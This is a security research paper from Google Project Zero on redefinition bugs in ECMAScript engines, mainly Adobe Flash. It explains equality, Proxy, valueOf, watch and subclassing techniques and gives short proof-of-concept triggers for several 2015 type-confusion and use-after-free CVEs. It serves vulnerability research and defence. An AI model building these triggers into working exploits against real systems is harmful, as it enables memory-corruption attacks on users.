Attacking ECMAScript Engines with Redefinition

Natalie Silvanovich, Google

ECMAScript has a property where almost all functions and variables can be dynamically redefined. This can lead to vulnerabilities in situations where native code assumes a function or variable behaves a certain way when accessed or does not have certain side effects when it can in fact be redefined. Project Zero has discovered 24 vulnerabilities involving ECMAScript redefinition in Adobe Flash in the past few months and similar issues have also been discovered in the wild. This paper describes how this class of bugs works, alongside some examples of interesting bugs.

ECMAScript Redefinition

Being a dynamically typed language, ECMAScript allows all functions to be redefined. For example, in the JavaScript below redefines the alert method.

```
<script>
  function f(mystring){
       document.write(mystring);
 }
 alert = f;
 alert("hello");
</script>
```

In most browsers, this will cause the function document.write to be called instead of a native alert.

While this example is fairly benign, in some situations this behaviour can be problematic and lead to bugs. In particular, if native code in the VM relies on an ECMAScript method having specific behavior, but it has been redefined, it can lead to many types of bugs, especially type confusion, overflows and use-after-frees.

Past Redefinition Bugs

Many security bugs involving redefinition have been discovered in the past. Some of the earliest bugs were bypasses of same-origin-policy in browsers, where redefining a JavaScript function could allow script from an insecure context to be executed. Issues of this type have been found as recently as last year.

In the past couple of years, many memory corruption and use-after-free bugs of this type have been found in browsers, such as CVE-2013-0765 in Firefox and CVE-2014-1705 in Chrome.

The recent HackingTeam leak contained five Adobe Flash vulnerabilities, of which four involved redefinition (CVE-2015-5119, CVE-2015-5122, CVE-2015-5123 and CVE-2015-0349). An analysis of CVE-2015-5119 is included below

How to Redefine an Object

One of the main challenges in finding and exploiting redefinition vulnerabilities is reachability. Many of these issues exist deep in code, and it is not always obvious how to trigger them. Moreover, not all ECMA-based languages support redefinition to the same degree, and it often varies based on the specific function and method being redefined. That said, ECMAScript supports many methods of gaining access to objects, so it is often possible to reach redefinition using less-used ECMAScript functionality.

Equality Operator

The equality operator is the simplest way to redefine an object or function and it works to some extent in most ECMAScript implementations. In ActionScript 2, it works without restriction (though sometimes the code doesn't compile and needs to be written directly in bytecode), so long as a field doesn't have a setter defined. Even read-only properties in AS2 can be redefined with the equality operator by calling ASSetProps to remove the read-only flag first. In ActionScript 3, only classes that are declared as dynamic can have their methods redefined using equality. In browsers, most methods can be redefined using equality, though one host function cannot be set to another host function directly. For example, in the code at the beginning of this paper, alert can be set to document.write, but it needs to wrapped in the function f first. Direct assignment will cause the script to fail to execute.

CVE-2015-3077

CVE-2015-3077 is an example of a vulnerability in Flash that occurs because a function can be redefined using equality. A sample of the code that causes the issue is below. Note that this code has been simplified for clarity, and does not compile. A compiling sample of the code can be found in the Project Zero bug tracker.

```
var blur = new flash.filters.BlurFilter(100, 15, 5555);
this.filters = [blur]; //this is a Button
flash.filters.BlurFilter = flash.filters.ConvolutionFilter;
var f = this.filters;
var conv = f[0];
conv.matrix = [0,1,1,1,1,1,1,1,1,1,1,1,1,1,1];
```

This is a simple type confusion issue. When the Button.filters method is set, it creates a native array containing all the filters and stores it. When the Button.filters property is read, it creates ActionScript objects of the type of each filter by calling its ActionScript constructor (with the assumption it hasn't been redefined) and then setting its native backing object to the one stored in the array. If the constructor for a filter is redefined, it calls the constructor for the wrong filter type, but still sets the same native object. This leads to an AS object of one type being backed by a native object of another type, leading to type confusion.

CVE-2015-0305

CVE-2015-0305 is another example of a type confusion issue that occurs through redefinition via equality.

```
var b = flash.net;
b.FileReference = q;
function q(){
  this.f = flash.display.BitmapData
  var c = new this.f(1000, 1000, true, 1000)
}
var file = new FileReferenceList();
…
file.browse();
```

It is fairly similar to the previous case. When FileReferenceList.browse is called, the browser spawns a dialog and the user selects files. Then, for each file, the browse method calls the FileReference constructor and creates an object for each file. In this bug, the constructor is overwritten with a constructor that initializes it as a BitmapData object. When the constructor is called, its type is set to FileReference, even though it is not the type that is returned. This leads to an object with an AS object type and native object type that are inconsistent, and therefore type confusion. The bug is that FileReferenceList.browse assumes the FileReference constructor will return a FileReference, even though this isn't guaranteed because the method can be redefined.

Proxy Objects

Proxy objects can be used in the place of regular objects and allow functions that handle every property access and method call to be defined. They can sometimes be used to redefine a property where equality fails. They also have the benefit of being able to execute code every time a property is accessed, which can allow behaviour which isn't possibly when simply setting a property, such as returning a different value each time a property is accessed. ActionScript 3 and JavaScript support Proxy objects.

CVE-2015-0327

CVE-2015-0327 is an issue found by Ian Beer that can be triggered by calling the stringify method in AS3 on a Proxy object.

```
while (index != 0) {
  ownDynPropCount++;
  index = value->nextNameIndex(index);
}

AutoDestructingAtomArray propNames(m_fixedmalloc, ownDynPropCount);
                  …
while (index != 0) {
  Atom name = value->nextName(index);
  propNames.m_atoms[propNamesIdx] = name;
  propNamesIdx++;
  index = value->nextNameIndex(index);
}
```

The code above is from the open-source AVM. It counts the elements in value, and then uses the length to allocate an array. The array is then set by enumerating the items in value. However, if value is a Proxy object, the number of elements in each enumeration are not necessarily consistent, which can lead to an overflow in the allocated buffer.

Conversion Operators

Conversion operators, such as toString, valueOf and toInt can often be called implicitly. For example, calling a native method such as:

```
var b = new BitmapData(x, y, true, 0xff00ff);
```

Will usually call valueOf on x and y to convert them to integers if they are not already. Functions that take string input often display similar behavior with toString. This can be an avenue for executing scripts at unexpected times. Conversion operators can be redefined in both AS2 and AS3.

CVE-2015-3039

CVE-2015-3039 is a bug in AS2 where calls to conversion operator allows script to be executed unexpectedly during a native call.

```
var filter = new ConvolutionFilter(...);
```

```
var n = {};
n.valueOf = ts;
var a = [];
for(var k = 0; k < 1; k++){
          a[k] = n;
}
filter.matrix = a;
function ts(){
          filter.matrix = a;
}
```

When the native matrix getter is called, it first deletes the existing matrix, then reallocates a new one and then sets its contents to the values in the provided matrix. When it fetches the values from the matrix, it calls valueOf to convert the contents of the array to members of the Number class. However, if the valueOf function also calls the matrix getter, it will delete the matrix array, and reallocate it, even though the previous call isn't complete, and will write to it after the second call returns. This leads to a use-after-free bug.

CVE-2015-5119

CVE-2015-5119 is a bug discovered in the HackingTeam leaks which occurs because calls to a conversion operator can cause a buffer to be freed and reallocated before a write to the original buffer.

```
var b = new ByteArray();
b.length = 12;
var n = new myba(b);
b[0] = n;
```

In the myba class definition:

```
prototype.valueOf = function()
{
     b.length = 1000;
}
```

This bug is in the AS3 interpreter unlike the AS2 interpreter for the issue above, so valueOf has to be redefined in a class definition as shown. The vulnerable code is part of the open source AVM, and is as follows:

```
void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
```

```
        m_byteArray[i] = uint8_t(AvmCore::integer(value));
}
```

The AvmCore::integer method calls the valueOf method defined for the object value, which corresponds to the variable n in the ActionScript above. This can then set the length of the byte array, which can cause it to be reallocated. However, the write occurs on the original buffer, leading to a use-after-free.

Watches

Watches are another method that can be used to change a property of an object. They are supported generically in AS2 and JavaScript. Watches trigger whenever an object property without a custom setter is set. This can sometimes mean that when a native method sets a property, a watch will trigger, allowing a jump into script, and also the ability to change what the property is set to, as a watcher can return a value which supersedes the value that the caller is trying to set the watched field to.

CVE-2015-3120

CVE-2015-3120 is a type confusion issue that can be reached by setting a watch on a variable.

```
var fileRef:FileReferenceList = new FileReferenceList();
fileRef.addListener(listener);
fileRef["fileList"] = "asdf";
fileRef.watch("fileList", func);
fileRef.browse(allTypes);

function func(){
        return 7777777;
}
```

Setting a watch on the variable fileList causes the function func to be triggered when the native browse function creates the fileList object and attempts to set it. The function then returns the value 7777777, which is a Number, replacing the object that is set. This leads to type confusion when the variable is used, assumed to be an ActionScript object as opposed to a Number.

CVE-2015-3119

CVE-2015-3119 is a bug in AS2 that can be triggered by setting a watch on a variable:

```
class mysubclass extends NetConnection {
```

```
	function mysubclass(a){

	this.uri = "test";
	super();
	this.watch("uri", func);
	var n = {toString : func}
	var s = super;
	trace(y);
	this.connect(y);
	var f = ASnative(2101, 411); //setBufferTimeMax
	f.call(this, 1000);
	function func(a, b, c){
		var f = ASnative(2101, 200); // newStream
		var n = new NetConnection();
		n.connect(y);
		f(this, n);
		}
	}
}
```

A watch is set on the URL property of a NetConnection object, and when it attempts to set the URL, the function func is called. This function redefines the this object as a NetStream (as opposed to a NetConnection), which leads to type confusion. The watch makes this possible, as it occurs after type checking, otherwise the function would fail to execute if called as a NetStream.

Subclassing

Sometimes it is possible to redefine a method or property of a class by subclassing it, if you control the construction of the object. Classes in ActionScript and JavaScript can be subclassed using the extends keyword. In addition, classes can sometimes be dynamically extended using the __proto__ or prototype keyword.

Resolution Methods

JavaScript and AS2 objects also support resolution methods. These are methods are called when resolution of a property or method fails, as a last resort. In ActionScript 2, __resolve is a resolution function that gets called if resolution of a property or method fails. In JavaScript, there are a series of __lookUp*__ methods, such as __lookUpGetter__ which serve the same purpose (the specific method that get calls depends exactly on what type of resolution fails). These functions can be used to redefine methods or properties to reach bugs, but are also useful in finding bugs. Calling a native method on an object with a resolution method set is a

good way to figure out what properties of the object the method is accessing, which can then be modified further

Conclusion

Redefining host methods and properties can often violate the assumptions made by ECMAScript VMs when they access them. This is a good avenue for finding bugs in this type of software.